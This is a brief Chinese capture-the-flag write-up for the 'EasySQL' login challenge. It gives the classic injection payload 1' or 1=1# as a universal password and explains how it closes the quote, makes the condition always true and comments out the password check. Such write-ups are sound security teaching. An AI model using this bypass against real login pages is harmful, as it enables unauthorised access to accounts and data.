极客大挑战[EASYSQL]
进入页面

一进去就是让输入账户登录
试试万能密码
1' or 1=1#
密码随便输入一个例如123456
获得flag

原理:
用户在登录页面输入的内容被直接拼接到后台的SQL语句中.
典型的登录框搜索查询SQL语句为
SELECT * FROM users WHERE username='输入用户名' AND password='输入密码';
所以当我们输入万能密码之后
SELECT * FROM users WHERE username='1' or 1=1#' AND password='输入密码';
可以看到username那里逻辑判断or,1=1恒为真,所以不管我们username输入的对不对返回值都是1,我们自己加的引号闭合了字符串'1',原语句的引号与密码判断则被注释掉了,所以最后判断的值为1,登录成功.
浙公网安备 33010602011771号